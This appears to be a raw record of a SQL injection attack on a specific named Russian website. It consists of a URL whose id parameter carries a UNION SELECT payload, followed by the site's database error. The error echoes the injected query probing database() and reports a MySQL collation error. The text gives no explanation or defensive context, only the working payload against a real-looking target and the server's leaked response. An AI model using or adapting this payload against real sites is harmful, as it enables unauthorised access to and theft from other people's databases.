http://www.nzshv.ru/interview.php?id=-1+union+select+1,2,3,4,5,6,7,8/*

Database error: Invalid SQL: select * from interview where id=-1 union select 1,2,3,4,5,database(),7,8/*
MySQL Error: 1267 (Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION')
Session halted.